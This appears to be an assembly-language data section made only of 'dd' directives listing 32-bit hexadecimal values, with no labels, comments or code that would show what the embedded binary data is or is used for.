dd 0C098605Fh, 23493400h, 38C6061Dh, 48970008h, 3F809D37h
dd 0C239BA7Ch, 0B82700A6h, 9BFCB5DBh, 57BC00C7h, 102C0CE7h
dd 7C00F791h, 0A28F89A4h, 0E464FAh, 79623769h, 30260798h
dd 61423B0Eh, 6CD980A8h, 0E767D6h, 4FD38065h, 1F598C16h
dd 0E000C1F0h, 0ED2ACBABh, 6C0A0Bh, 0F2589FC9h, 3EF61663h
dd 2755BE00h, 0F1921DAAh, 0D1C0030h, 0F4296E0Fh, 0BE0018C8h
dd 0F8D0F237h, 0E85C733h, 0A782C292h, 0BD94E980h, 5300441Eh
dd 6C811D37h, 48FCD34h, 0EC91DD16h, 45848071h, 0C200B532h
dd 5678FA1Ch, 4C57A342h, 231C7CBCh, 7109DD0h, 70AC7644h
dd 0A88A5D56h, 0B165CB00h, 2FCC8FDCh, 0C5BF0062h, 0FB0C86CEh
dd 6B005CC6h, 0E3FA51F1h, 612B7Eh, 35B6251Fh, 82D10F22h
dd 2E15B07h, 0A9D0E663h, 0E82167h, 3B9ABB28h, 7F34B40Ch
dd 1110F81Eh, 0E040905Eh, 0C5B25150h, 0E231033Dh, 6F167C8Dh
dd 0B002F1C0h, 86FA2200h, 0F3515894h, 179B0049h, 8935D738h
dd 8800ACB4h, 2413B5E7h, 0A77DD0h, 0DF4E11BCh, 0F7D902B6h
dd 41F8D8E5h, 0FB1E2172h, 0B28310CAh, 9042EE3Fh, 53D585h
dd 0CB971DB6h, 18A67BB0h, 8022BB3Eh, 929609D3h, 0C313Eh
dd 823FE167h, 20A52E12h, 9BA72800h, 91D3D44h, 5F4E001Ch
dd 0FC8D06A6h, 0E3F8AA7Bh, 65002DECh, 0E90B5C7h, 75F3D9C6h
dd 1DF0A3h, 8ADA1324h, 36E33CDEh, 0DBBEC000h, 0FD89CC37h
dd 387F291h, 0B2A77B58h, 0CEA75A6Eh, 10611C87h, 7AE5B68Ch
dd 8BBF9500h, 87FEF3C7h, 92A300A9h, 58B04942h, 24384E65h
dd 0E8B39E57h, 9E2B5680h, 2E142F6Fh, 30F90Ah, 613BFA75h
dd 4DF0B513h, 0D2386601h, 9E704F60h, 1D78260h, 0CD7E996Ch
dd 0D4896D73h, 0B100B54Eh, 7F1E84D9h, 0D25BFBh, 52AEE019h
dd 3F9644B0h, 0F58D6201h, 0D44A354Dh, 0F4D85AD5h, 4CF0045h
dd 0F8471F9Ch, 0F63FDF14h, 21D080DDh, 0EBE49E7h, 1C22700Dh
dd 0C01AFD23h, 0AC957D9Eh, 7004CBBh, 2232CBC0h, 1F4E5466h
dd 40EE1462h, 3A06ACDAh, 0CF09843Fh, 709FDCh, 7E5793Dh
dd 0B7A82C8Fh, 0CB8700B8h, 0B986CABDh, 7941FD07h, 0A0AEC966h
dd 903FAF58h, 0B47C3Ch, 5750BC2Eh, 19F8D754h, 1700CE72h
dd 222AF17Eh, 2F1AE6h, 0B1A746C4h, 92B9686Ch, 40E3400h
dd 0E65562A9h, 0C673007Eh, 9F9A4EE5h, 3D008D48h, 0AC6E0DC7h
dd 2F1CA4h, 0AE57D73Ch, 937DB033h, 4FCEE300h, 42C7504Eh
dd 0B749000Fh, 77A7B64Bh, 57FCD07Fh, 68915930h, 2BAAF2h
dd 0CAF1A2E7h, 0A92899CDh, 62ECED00h, 3A2FFF58h, 24BC00D8h
dd 660EE52Bh, 8000935h, 0B18E7D84h, 1C71DBh, 0F7973BE3h
dd 4E1BC90Ch, 0E74FAA00h, 2F87D462h, 2431000Eh, 51DF3BBCh
dd 0C2006B64h, 4202447Fh, 0E09179h, 80A2D1DDh, 0A44DF488h
dd 61309F00h, 0D5EE600Eh, 1EEC0072h, 0D284436Dh, 0D82457A1h
dd 58002881h, 697C07ABh, 837E01E5h, 66B6477Dh, 0D299DC2Fh
dd 14CC3600h, 0FB3C18C5h, 0E973A5h, 3352AADDh, 243B9149h
dd 31018BE0h, 0E86C62EDh, 51C81570h, 0C10D0061h, 5B60F3DAh
dd 18004E5Ah, 0A37EEEDDh, 0E3BAFE9h, 0DAE3A2B0h, 0FA438CE4h
dd 0CC359500h, 0E7A63D1h, 58CD4602h, 0DBC29EA0h, 0C00EEEC7h
dd 0E14CE9ECh, 6511B0D1h, 29B9C4h, 9D380C22h, 347233A9h
dd 1DE0553Fh, 0BF2B12h, 0E9DDD0ECh, 0EEB7CCEBh, 2AB0054h
dd 89323850h, 0BC3C6087h, 968D8B69h, 1AD201E6h, 68E854D2h
dd 4AEF38A3h, 0F3D7FE80h, 14511241h, 88352900h, 2E70567Dh
dd 0C0790010h, 0B53F2224h, 1A1D6930h, 0E39759F4h, 0D4209D00h
dd 7E894399h, 418A00F3h, 0BCA6263h, 7E2848ECh, 0FB00CDA4h
dd 0E39F098Fh, 7B0B1AFh, 5593DDD1h, 0A2600017h, 0C00E6E7h
dd 8C06C9FCh, 70B71Dh, 9BC2B49Ch, 0F42DB2E4h, 2B9AE30Bh
dd 182A00CAh, 4B3433Bh, 551C0437h, 5A75802Eh, 0DD00DFBBh
dd 21741201h, 0E2FE99h, 0D94EB654h, 0B21DF738h, 1168F600h
dd 55A3D26Eh, 517E0F9Eh, 0C940BF15h, 0CA47996h, 3F7ABB00h
dd 0A53DF306h, 6075003Eh, 596F1C0h, 4000B011h, 0A114DAE6h
dd 0F60F82h, 2E801E36h, 6A7EE05Ah, 95B1551Fh, 0DC0BC9Dh
dd 26293C57h, 0B33000D3h, 5F7348FBh, 9700FEE1h, 5D46935Ch
dd 155A5591h, 0E461ACE9h, 0DAD9EC7h, 5F924060h, 7900CFD5h
dd 8B2777E0h, 1C8DCECCh, 40A11844h, 0E9C9D4CBh, 0E42EB325h
dd 84008CD0h, 0C1721440h, 0FDF5482Eh, 0A3469600h, 6EB8A47h
dd 35A105Ch, 6CBD2DF2h, 26DAD15Ah, 73B0F3D0h, 2F3300C5h
dd 0D5E0E8D9h, 0A100810Bh, 0F148F37h, 26D8E1B4h, 3ED0293h
dd 2890B35Bh, 7E20EAF8h, 0B004C92h, 6BBED38Dh, 7D46FDAAh
dd 0E54F014h, 99449DC5h, 387F1260h, 0A30FB2EDh, 820A09F5h
dd 0E0F9DD01h, 3B8ACh, 0E89418DEh, 0E5A6D3DBh, 887CCC01h
dd 0F679EF7Ah, 39010C22h, 40955398h, 43A05021h, 1E015D13h
dd 854ADDF5h, 0C0FED9CDh, 27867Dh, 0BB6842D3h, 0B6FFAE19h
dd 6A30CC0h, 4CC75E23h, 7200A1CFh, 0D2BFFD8Eh, 0B300D652h
dd 0E412B6FCh, 772E34DDh, 0FCEF678h, 0A0350C87h, 0F25ABF60h
dd 0F600EF4Fh, 4AC5CF44h, 171D213h, 7C82987Eh, 0F4E434CAh
dd 0F1052439h, 0F9A8C3C0h, 0B86A2AC3h, 4D745h, 53BC3718h
dd 0FF695224h, 73E0D800h, 0A1B7B8EBh, 0FA1107F1h, 0D0982AFEh
dd 842ECD91h, 442C0B00h, 0BE9C065Eh, 2710Dh, 82503960h
dd 0ECEE914Ch, 9659A13Fh, 0D2024F23h, 0C065F161h, 3A816Bh
dd 0B0F76947h, 7A298C8Eh, 0A985CB00h, 0CDD67828h, 0E73D0016h
dd 0F6D0BA52h, 0D27527F4h, 1287E007h, 31B00BF7h, 1D262C09h
dd 0A0B457h, 6F33F8D2h, 0CE006999h, 3539A376h, 9C7C2Fh
dd 56514E13h, 0BC272C78h, 0EDC6B100h, 0D301EC3Bh, 3F880008h
dd 819B66C0h, 3500F063h, 0B5D53E7Ah, 0FA4A564h, 7001F28Eh
dd 80CD4FC2h, 12A8EDE0h, 22EB2500h, 51BB2D93h, 3F5CF2B8h
dd 839FCBBDh, 0D8A1413Bh, 0DC97AA38h, 15E88F7Ch, 3B99A024h
dd 911D4107h, 6D1C49B0h, 0D2F8079Ch, 3094A1FDh, 6527B2D1h
dd 3E75CFE0h, 0B0219E00h, 9D0853A6h, 0F40A7BD6h, 0E47D3FEBh
dd 65F3EA80h, 0F791B9F8h, 7C53A507h, 41309F50h, 0FC3C425Fh
dd 0F2400004h, 16A3AAEAh, 550ED20Bh, 0C00A4929h, 47667444h
dd 0FE560097h, 0E89ABE1Bh, 7F00F9BAh, 495E3D08h, 4348F1h
dd 0AF321CD8h, 76651A0Dh, 0B090C705h, 0BBE198h, 26731FB0h
dd 5107B9C0h, 955BEE74h, 0C0B66172h, 3843004h, 6D3E4CE2h
dd 0A0C882B0h, 8B002F9Ch, 76BAE9F9h, 2A3135h, 30E57ED7h
dd 342DD3B2h, 43B50500h, 0C59F75Bh, 70BDE0A5h, 4CB200E8h
dd 4957BF2Bh
dd 8E783E36h, 0B5D34300h, 9AE2A3E6h, 0C07485h, 0FDDA8FA4h
dd 4199E0Dh, 46205001h, 9BD7760Ch, 5CC491C8h, 0D300F63Eh
dd 382213DDh, 79003272h, 78673F54h, 20ADE5h, 4FCA3EFEh
dd 0D7199DA1h, 70552207h, 7F2121CFh, 0A8303227h, 9AD500A9h
dd 8AE7FCB1h, 5600C464h, 47898349h, 0F8AEB523h, 0AFF90A8h
dd 0B41172EEh, 0D81F00BBh, 0F21EE49Dh, 0D9BCD51Eh, 0E0E2F6CEh
dd 0EFB4CE89h, 0AE280060h, 0D4AB6613h, 3E76611Fh, 0CC53A00Eh
dd 0F63A60B4h, 0E214349Eh, 298400B2h, 0A2C05CD1h, 9102457Fh
dd 6B58B640h, 0CB89E080h, 6D380007h, 14529E0Bh, 12008818h
dd 37FAFE85h, 4671ACh, 0F4CA02Dh, 17143C63h, 2894C701h
dd 30267795h, 96AB30h, 0A93BC33h, 0F43EC246h, 9221941Eh
dd 0B82C9E00h, 8647E4h, 818DE82Eh, 59C95ADAh, 960EF300h
dd 0A282DEA8h, 8F041FC5h, 1C6280BAh, 9DE4F23Eh, 0EE383079h
dd 0F800FAE1h, 67C0CB6Ah, 140332h, 4CEB28C1h, 235F18B8h
dd 0E3DA5800h, 0F642FB7Ch, 0FC71063Fh, 0A8B0AF93h, 6777A200h
dd 56EF32Fh, 0A034B0D8h, 3C6CC241h, 8780381Bh, 0E4F40B5Dh
dd 0A60071F0h, 10A25FDh, 4BDAF7h, 0DF18F9B7h, 5ED77B3Ch
dd 26A4DC0Fh, 7D083A3h, 89AFA04Ch, 9617017Ch, 2F7D8750h
dd 3129D843h, 0A1B89B77h, 0FCBD401h, 154D5607h, 0C300BF8h
dd 7D4E1A22h, 1105AA38h, 6CA12897h, 460FBDC0h, 0B90200D4h
dd 0F969D2C3h, 6500222Fh, 16772C17h, 73D01h, 58DFEDDEh
dd 0BBF5C6EEh, 0AEE41B1Eh, 0F9F6A0Bh, 0B1B08021h, 3AF748h
dd 9598DBBCh, 4C08AF94h, 6FA66700h, 31709019h, 9CCF045h
dd 0BD448EDBh, 89221A00h, 3200AB4Fh, 0A7B5351Fh, 8B9D56h
dd 0A6F16C07h, 0AB8608D6h, 0ED27B104h, 7EC0AED9h, 7A4E724h
dd 92439B9Ch, 0ABB1B04Bh, 13397CBEh, 329D80E5h, 417F3B0Ah
dd 4D461C76h, 0ACAA03D9h, 20F83411h, 1F03B656h, 0C3806A08h
dd 7516D048h, 904060EEh, 67C83447h, 0E100B47Dh, 0A5FF037Ch
dd 1A9526h, 47E01CCFh, 40EF3ED6h, 0D9B7E730h, 1B012F5h
dd 835E34C1h, 0F14BF2A3h, 0D02CF863h, 0D6D9E50Fh, 0B2F12C89h
dd 35379D5h, 0BD4A324Dh, 5900CE2Fh, 4CB09AA6h, 840EBBE7h
dd 5161B290h, 454D5F58h, 0E4BA4410h, 0F940CE83h, 506B5884h
dd 66F1024Eh, 0F38620CCh, 0E710419Ah, 748244AFh, 8B01B750h
dd 0B3174C06h, 0D4A847F6h, 11F76871h, 8841BE03h, 844C054Ah
dd 59EF6996h, 42C7188h, 1B17CA18h, 8591FF1h, 0D6D80297h
dd 0C7101C4Dh, 0D9494059h, 87ACB1C0h, 7838F31Fh, 0EE22006Ch
dd 0B2608949h, 0F007C1C8h, 153D3B54h, 8AB8A841h, 60B9C440h
dd 1E7400DEh, 0F06716Bh, 98144FF7h, 981A59h, 0AE0C858Fh
dd 28015F5h, 0A8EC3251h, 0A88E6031h, 62E68AC0h, 75074118h
dd 0D75A9661h, 0BC93200h, 7C8E804Ch, 0B8C54300h, 0F320C6C8h
dd 6A023CCFh, 88004BA0h, 0FCAF906Ch, 346CB9Dh, 5F18BC0h
dd 0D080CFD9h, 0C200C68Ch, 8767AEB2h, 9576775Bh, 3B7F5140h
dd 0D49AE0A9h, 0F8D3362Dh, 2C218200h, 709E1D93h, 173B0F3h
dd 5CCF7E3Ah, 60D1ABF8h, 4A602158h, 0FABB1C80h, 2F84009Bh
dd 2520969Dh, 0E600318Ch, 0DE722C56h, 5476DBh, 1C17A770h
dd 0AC94A2B0h, 0EDFC0A50h, 801B623Ch, 9DE975E0h, 0CCFBAAh
dd 95E3BB8Dh, 0F2894A2Dh, 0B627C507h, 7B5068D8h, 58B46FFh
dd 0E09462B3h, 4C8400F3h, 8E11C3Fh, 7717CE00h, 552ADE27h
dd 0C41D509Eh, 9850FDE5h, 0E0CBCFEh, 9AA88F66h, 0EE834AE0h
dd 0AB073293h, 0FF43D6F9h, 6244B790h, 0C249015h, 3599637Bh
dd 4024EC48h, 80BC4411h, 750FD246h, 40174D81h, 0FE079545h
dd 0D4B38605h, 38831E54h, 9B38E0A0h, 67FF0079h, 0E5263082h
dd 680028BDh, 0AFFC6EF1h, 6CE0D7h, 29014E56h, 62984DCAh
dd 15C4100Eh, 557B2042h, 0B10E68h, 0E2C7F6BAh, 38EC9280h
dd 3F457A00h, 317F4B70h, 0FA5B0078h, 590F93BAh, 28C0FC5Ah
dd 44CA7A20h, 352F032Ch, 61DD1AD9h, 8151A6F0h, 34F333Eh
dd 92F47F5Dh, 3C5E0024h, 2BCAD68Eh, 21005F25h, 46860736h
dd 0FB6516h, 0F97BABA9h, 8D8B171h, 0F4365700h, 668E8431h
dd 0D1E100B8h, 0A868D04Dh, 78007E5Ah, 0C36A5C7Dh, 9AC991h
dd 70FF889Fh, 210E721h, 1249EA0h, 0A00F5A74h, 0FEFC9h
dd 46BBCBF4h, 2CA43D54h, 68E512h, 19315149h, 0D101DB3Bh
dd 0A28F9D71h, 12E45566h, 44DF001Fh, 896A6BE0h, 0E3761730h
dd 0C8BE100Eh, 96401E28h, 0CD99B09h, 2F4303B7h, 38155A04h
dd 0DA3F01C0h, 0D70EDC00h, 47AE6660h, 6C7F0078h, 7591E0E3h
dd 0D6B0F412h, 94B6BC00h, 59F255FDh, 0EF08009Eh, 0C86DDBAAh
dd 7226FBDCh, 6507FAA5h, 93A0601Dh, 1E26C155h, 0C08A7551h
dd 91F8C96Fh, 7207ED4Ah, 11D60205h, 0AF1B28F0h, 0B2E90004h
dd 4CB107E5h, 3D24AAEDh, 3926E69Eh, 0FC7AAE00h, 27FEC5Eh
dd 0CA20F82Fh, 714032CDh, 92771969h, 37662703h, 0C0111E3Fh
dd 0F681CAh, 0C8C3B065h, 0FDA37F15h, 0F705E200h, 0B1402A3Fh
dd 4A97004Fh, 81809D7Bh, 891C4325h, 0D00BD23h, 0C0E3B5D5h
dd 0E95D00DAh, 58A18CAFh, 7CEE532Dh, 0F500DFFCh, 0CF105983h
dd 0EB162A9h, 70AF69ECh, 0EF6BD340h, 9B005A6Dh, 0AC33A41Eh
dd 169637A3h, 40156A7Ah, 91433F83h, 58018741h, 727B278Eh
dd 0B7CCC41Eh, 28477CFCh, 0E835EE6h, 0C3329514h, 0D468DAE0h
dd 0D328917Dh, 7A7E8430h, 4AD1A600h, 0CD5D3F60h, 42FE33h
dd 62D93D4h, 36CAA247h, 446EC21Ch, 41EAD3C0h, 68B6ABh
dd 2CA6C6DFh, 0B519748Dh, 27640201h, 0C4580DFAh, 3B47FCh
dd 8A76CF52h, 0EFFB5DE8h, 4D06200h, 0E3DC0B48h, 0A3BB0006h
dd 19B3EC33h, 8301C31Ch, 17767CA0h, 5283F88Ch, 39EC6ABAh
dd 2FCFA7E0h, 0CDDAE21Dh, 5A00EB28h, 8206CBD5h, 36A863h
dd 599C76D1h, 0F397447Dh, 0B16C1200h, 6050EB8Dh, 0D3820023h
dd 0CE988FFFh, 2700B4C2h, 0CA5D0FD5h, 266DC613h, 185B14h
dd 89844F85h, 0EB002604h, 69678EF0h, 7160FBh, 0E7ED501Bh
dd 921E7595h, 72E91300h, 830B2690h, 1BC10077h, 99A7CC1Dh
dd 2A0049C7h, 0A6710D4Fh, 0F81770ADh, 348C003Bh, 1E5AA02Dh
dd 0FAEC7B3Dh, 6CB02E02h, 6022BF5Fh, 743CFB64h, 0E45F249h
dd 8BE03DD4h, 0BA42FC20h, 7E7407ADh, 3E3A413Eh, 383480D3h
dd 0D093223h, 5CDD00BFh, 0E4562ACh, 110A5BF7h, 0ECB1101Bh
dd 6427A607h, 0E7C2AA61h, 0F42012C9h, 1D765C6Ah, 1992090Fh
dd 0A49713A0h, 680036E2h, 9365EB89h, 0EE9DE5DAh, 0CB4B00A0h
dd 0E3749A6Dh, 65E0C5D5h, 3AA49900h, 24E6FCB9h, 0B4F800B6h
dd 0BF6A6C7Ah, 803B1AC1h, 0DA71D52h, 4B9B2380h, 836F9h
dd 0E3983389h, 0F574FA10h, 0CFDF5B00h, 428F6CE1h, 34890060h
dd 3BAF264Fh, 8600B06Fh, 0EAD862AEh, 1548D2h, 43760685h
dd 0BE888C55h, 5E7AF600h, 41AC4F92h, 0C847007Fh, 0A1C5D0Eh
dd 0DE002157h, 44631397h, 3DF403Ch, 48D46AD2h, 0FDA82991h
dd 6F004195h, 8ADB54CCh, 3F237859h, 0F97F18h, 0EC4E870Bh
dd 2B857D4Fh, 327061Eh, 1DA5CC00h, 7EE0753Ah, 1E3503B0h
dd 0BB581BEBh, 6A8E70DFh, 7E0024C8h, 3B22F05Eh, 81870Fh
dd 0EC789A15h, 3A026A6Fh, 7BF86903h, 0E020B851h, 0A90D52h
dd 5DC13D58h, 45FAC3DFh, 665F7200h, 2659F3C7h, 8951003Ah
dd 0B1118194h, 0CE07039Ch
dd 0ADC0017Eh, 569DD5D1h, 0EF30D061h, 762C00F4h, 97AAC1F9h
dd 0EB00234Dh, 331D40EAh, 3F49ECF2h, 2280A55Bh, 34A66CF1h
dd 6F00DD80h, 0A12C0185h, 0FD4D55h, 0A349F813h, 0EE78B496h
dd 92002D72h, 1F26E494h, 7AD97C4h, 4F40A702h, 1EECA1C5h
dd 6F98C845h, 0FCF42207h, 0CF0046D8h, 4DA2E0h, 0C394DFD2h
dd 86A532F2h, 5CD79D3Ch, 56022D91h, 7E003D63h, 0DCA2D240h
dd 34737D7Bh, 24A94400h, 0DAF0FC60h, 0F3B50061h, 0D29C056Bh
dd 0C800F26Dh, 6514E076h, 188882E5h, 386C3A51h, 2A004F73h
dd 5EA731FAh, 0FC9F709h, 41FFEB7Ch, 36E03E2Fh, 711982F8h
dd 0B7779600h, 0E7F34B29h, 0AE9B00F6h, 92E0CEB9h, 2D9016A2h
dd 0EFE89A2Ch, 0A0D28200h, 62FDE3h, 0B3805E34h, 0B9235542h
dd 1B8B9503h, 0E06E4C59h, 0B0DE656Bh, 62A600E2h, 0D7FFBABFh
dd 0FC00B0C9h, 4E36C5A0h, 1D63CD88h, 0A9BB86h, 9709B987h
dd 40047D4h, 623DC745h, 0FA6D6Ah, 0C6412B71h, 91F6397Dh
dd 0C5A7490Bh, 42688065h, 0E7A6D62h, 7989D1B0h, 0BD00094Eh
dd 2FB4B1A0h, 67F3981Ch, 9EE00DC3h, 3104C4Dh, 0B8948600h
dd 0A54B3BECh, 0D8342F00h, 0F8AAD3C9h, 0D54E00F2h, 0C49EAB73h
dd 0BCF6622Bh, 3B933Eh, 797402C8h, 2A0F65h, 0A15C5258h
dd 0B7BE42AEh, 665BF605h, 8DC078CBh, 0C8A61Ch, 56FE31E0h
dd 94060F73h, 0D01FC201h, 786ADB46h, 0C610C080h, 0AD7D6318h
dd 320E1A0Eh, 44F980ACh, 908A6939h, 0C18F077Ch, 10D781D5h
dd 0F54FB84Bh, 1FFDFE00h, 0B6DAAD53h, 94FB002Dh, 23B4D375h
dd 85006D4Dh, 3DC811BDh, 39E6Bh, 0B30CA4CCh, 4EE83134h
dd 96B03200h, 3DB1D049h, 0E9C01D84h, 0A70C0BF7h, 635C3C80h
dd 8E00E5F4h, 70BE669Dh, 0C289DCh, 3C210D9Ah, 4B4F815Ah
dd 8377DCA0h, 2A951A00h, 288D2FB5h, 1CAB00DCh, 5BA4C77Ch
dd 497A0F5Fh, 18053E00h, 0B0CB80B8h, 558F0794h, 1042C8C2h
dd 0EB6063Bh, 16235C3Eh, 0FC03BC3Fh, 0F8C688A0h, 9DEDFh
dd 938271DCh, 0D3062F96h, 51903E00h, 0EEF8B3A2h, 9C98DAh
dd 8CBA726Eh, 81D7A711h, 2EA925h, 6F7FD19Ch, 0B0F3F0CEh
dd 7BB11DF8h, 0D78E0FE1h, 1B861243h, 0E3588998h, 0D41E3619h
dd 98315259h, 0D858A2h, 9A90187Ah, 0B0BFAD31h, 64AA7777h
dd 0EAF8FC0h, 8E457415h, 2CC19C64h, 0DA11F2FBh, 153B4C4h
dd 8ECAE967h, 80DCBC50h, 0DDB87A50h, 0FAD1976h, 0DF66518Ch
dd 1D7167C3h, 467DCCF0h, 9F01DAE2h, 19F915B6h, 0B770B769h
dd 712100F6h, 0B3DDEEBh, 800324D9h, 0AC67810Ch, 36A3A0AAh
dd 0F3E30333h, 952218C0h, 0D3021780h, 0EA793400h, 28AB49D0h
dd 47050B39h, 0EA863EB2h, 0A700106Eh, 7D8733E8h, 0FF9482h
dd 42A2812h, 167F4D40h, 0AFE84F00h, 0DDBD681Ah, 92070071h
dd 0F1817A57h, 0A0047D3h, 0A6FF65A0h, 3509FC4h, 873BC79Bh
dd 617C7151h, 0B125F100h, 18F74F20h, 43B3E7Ah, 3CD32C00h
dd 0CF4CF69Dh, 7829BA30h, 0A1FB085Fh, 298025FBh, 0AD76FDF0h
dd 0DEE2FE39h, 0B93A5930h, 0F8AF4358h, 0E63801F0h, 5F8D677Fh
dd 6B50EC0Eh, 620245E0h, 6A034D26h, 9C98800Bh, 201E77h
dd 0D905128Ah, 27517E4Ah, 0DF0110C0h, 0FCF95Eh, 0BB76C519h
dd 2B93FE50h, 0A23C8B00h, 2FE5995Dh, 8D680003h, 0C2B0F912h
dd 5AE49EDEh, 0B2D54D00h, 33EE2B67h, 3F8D758Ch, 786AD6h
dd 917208FAh, 51FB61A9h, 0A4D84300h, 0A03A13F3h, 0F5960015h
dd 0A3A81FC9h, 290039D5h, 4B8C53Fh, 0C19093B9h, 0BF0BE539h
dd 0B418ACCCh, 3098C400h, 1D67ACFh, 3B745B9h, 43A785B4h
dd 43C9A4A4h, 88807ADDh, 1B1493h, 91958FEAh, 18A5F1E0h
dd 0B6B41600h, 0F6743E78h, 61C00063h, 3B5AEBD6h, 430065FDh
dd 923A15E2h, 2E2FDCB9h, 0D3DAEh, 129D561h, 9C0055E9h
dd 803EC454h, 0EDC28Dh, 0D735A4CFh, 0EFEB86A2h, 2518A301h
dd 0DB2DC6F2h, 0F1ABEF0h, 59A63E94h, 0B7408E00h, 0E8F0D89Eh
dd 5B6A5106h, 0F0BA89h, 53FF1CEEh, 90652A17h, 0D7847000h
dd 466A6350h, 52DE019Ah, 0B8D193DDh, 8C3AECCAh, 38393Ch
dd 5D6D4974h, 38C821BCh, 0DB01A8B0h, 0EC919AFBh, 0FD9BF085h
dd 0B8838D0Fh, 0DC4F0097h, 7BD56C50h, 1A620772h, 0F0E6584Bh
dd 0D791275Ah, 0C2003879h, 6BFEEC0Dh, 0C88D0E0h, 0ED2B1383h
dd 6D00A741h, 475FF2B1h, 13A0852h, 711DF565h, 0E0357CD7h
dd 0B37511ABh, 6DE96800h, 675DA437h, 0DFF689h, 0EA9B18B8h
dd 6470D85Ah, 3A7D8204h, 20C0E72Ah, 8DC7D6h, 1133643h
dd 0A1F9F2A5h, 17574400h, 2DFD658Bh, 0B64C00E5h, 5F7FF1D6h
dd 8161F93Ah, 0F53B2B98h, 16D99Dh, 0B8845D20h, 0E30166F8h
dd 550650DBh, 41FC4B45h, 3B279B1h, 4CFE42B6h, 65F32FD2h
dd 0A7A54800h, 9FC52315h, 0A2A800E7h, 0EEEC2069h, 14001374h
dd 0F4BE030Ch, 7ED57Bh, 18459972h, 51153FFBh, 8900837Fh
dd 7542F36Dh, 1AC6801h, 0D579EF80h, 0E0D1C5F0h, 4F07AFFCh
dd 6813DD25h, 9D737BE0h, 3EA22986h, 42F06720h, 0B710F28Eh
dd 0A9FA28h, 0C3E67F6h, 0BE87A8D4h, 0FEAD50C0h, 2C2FD1Dh
dd 0BB99A4ACh, 0A162E806h, 0C6246D40h, 8000B72h, 76A6EBAFh
dd 7A60B7h, 0A1F873CAh, 0B8F1B343h, 803EC63Dh, 0FB34FC6Ch
dd 4DC93Bh, 494B2FBFh, 0D6122039h, 1A508A03h, 0B0C867C3h
dd 0D1A321h, 0CD55DF17h, 22392C2Bh, 56B9C71Ch, 0E0A6B54Fh
dd 26D39E9Ah, 4F580008h, 0ED88D759h, 2A7FE55Ah, 1D7855Ch
dd 1A130ADFh, 41DCE33Dh, 0D8400766h, 0D0878F82h, 202E50B8h
dd 7083FE00h, 0E4C98AB9h, 6C5B3C24h, 921A6A00h, 8FD795B0h
dd 4A3BB503h, 0E33EB985h, 0E014F391h, 241CBDAAh, 12C61BBh
dd 0C97032E7h, 0B989C0D2h, 8737123Bh, 0A1E0B404h, 46CA97F0h
dd 4F78BFh, 16899F76h, 0CE853F3h, 4A10B2A0h, 0C6D13C00h
dd 2A847861h, 0EFD80096h, 0EABFD48Fh, 0C2003679h, 4B865C21h
dd 4C9611FFh, 0C1C2509h, 0E9DA5E23h, 0F21E4120h, 7EF40C8Ch
dd 71BCB027h, 129F0E9Bh, 801ED1E5h, 8978A1CAh, 7B746A32h
dd 0AD807F01h, 4E9F5E0Bh, 0A3B0E0BAh, 0ABD73920h, 5F9A6200h
dd 857F8827h, 41600096h, 2EF03F21h, 6700E5A1h, 32E4836Bh
dd 1D7EC3FCh, 8703D0F6h, 0D2EED92Dh, 0DC805C45h, 5D8D93F3h
dd 9D943F3Dh, 0D1406629h, 73850FB4h, 0F0DC0042h, 249FB19Ah
dd 38032869h, 0BA3D3A94h, 0ADD343h, 9840D190h, 83FF0D49h
dd 0A221DF00h, 0D70920C8h, 0D13B00F0h, 54D83257h, 880E8C10h
dd 2016CA62h, 83844EF7h, 30DAEACBh, 39A0F248h, 79003E98h
dd 3F639D61h, 740BEA7Fh, 0CF950092h, 88E7EC3Ah, 6A003532h
dd 0C65582C2h, 0DD8E9Eh, 61E5AA03h, 6BDB933Eh, 33819000h
dd 8449C6BFh, 76501C73h, 5F6E40FDh, 0F4E195D9h, 7E073700h
dd 0BB85705Bh, 0E924188Fh, 0B348883Bh, 0C390F060h, 3F73E0h
dd 0CEDE3897h, 0FB3D928Dh, 4D247B0Ah, 77804C5h, 0D3DB0008h
dd 0C0721D3Bh, 620C024Ch, 204B693Ah, 132D0084h, 0EE4E57A3h
dd 2C632215h, 4C6708h, 0D3982920h, 948CF60Ah, 0FC045900h
dd 0F1EA4FC6h, 30F7F219h, 8F70D9FFh, 5D005F1Bh, 74A8E13Eh
dd 17CA3DEh, 0EE1D7E84h, 83E9F037h, 0E24DF228h, 0A2A00327h
dd 87FAF657h, 74C15CE0h, 191BB9C0h, 3B9EDD08h, 70BD9255h
dd 7C183394h, 0E1540203h, 0D580E508h, 7300F536h, 0DB767897h
dd 1DE6E7h, 0EE43568Ch
dd 7AEBE962h, 7F024E00h, 90FBD25h, 0D8501F2Fh, 2B6200E8h
dd 4C8F01F2h, 750003FEh, 0ECE629F5h, 0C81955Ah, 0C4CF67C9h
dd 0CB03ABB0h, 0EA420CA4h, 0A3ACFC92h, 0D13E94Ch, 5DF002Dh
dd 4BB78F1Bh, 9702B0A6h, 0DE57A0C1h, 4ABA1812h, 621380h
dd 25FC60B5h, 6FB289D4h, 3D7EE71Ch, 247C80FCh, 0B1B6518Ch
dd 0EF2600C4h, 7F7A583h, 5C00E6EBh, 0E5039BF3h, 0E80FE47Bh
dd 4FD1004Ah, 67382558h, 6207D8CAh, 7605569h, 0C05B48D3h
dd 50C69694h, 0AFCB418h, 6112210Dh, 40601FBCh, 3CF2DBC4h
dd 0E750A30Bh, 910B70D8h, 54E2F96Ch, 0BFC60F06h, 0C08103E4h
dd 5C134E84h, 0F8027C0Bh, 0CCE880DAh, 9C90629h, 49D2A776h
dd 0BA883817h, 21FF674Ah, 0FF648F91h, 0F0B9C7ECh, 1B45F8F9h
dd 0B06FCA00h, 0C4FE6B0Ah, 9F177B5h, 73D4EAE3h, 20867021h
dd 5920D672h, 1053FEB3h, 80F02A6Eh, 7BE244A3h, 0B27D0085h
dd 0F3E01A05h, 3D004586h, 562CB442h, 75E41C47h, 10680EE6h
dd 28407727h, 0CE21F896h, 0D0535402h, 0C0EADE69h, 2ABEDC9h
dd 7B57DF9h, 54409D80h, 3A48E8FAh, 20D400D4h, 0E1A24E5Fh
dd 83F1001Ch, 94D5EC77h, 6E3A5A18h, 11A58DCh, 20E6AC53h
dd 0A080428Ch, 0A99C6D24h, 0B403FBA8h, 5B8E6976h, 3E9A036h
dd 98240F7Eh, 6B66BE0Dh, 7B1278E8h, 0B040BB92h, 94165175h
dd 8F560B90h, 1E0018B2h, 3DD9821Fh, 0DFC830A0h, 5421FEF4h
dd 0D7468234h, 8C40247Dh, 61001EBDh, 65C4FD94h, 8BA8CDh
dd 8CE571D9h, 0A7462576h, 149E4F00h, 0E2790B0Ah, 111F077Ch
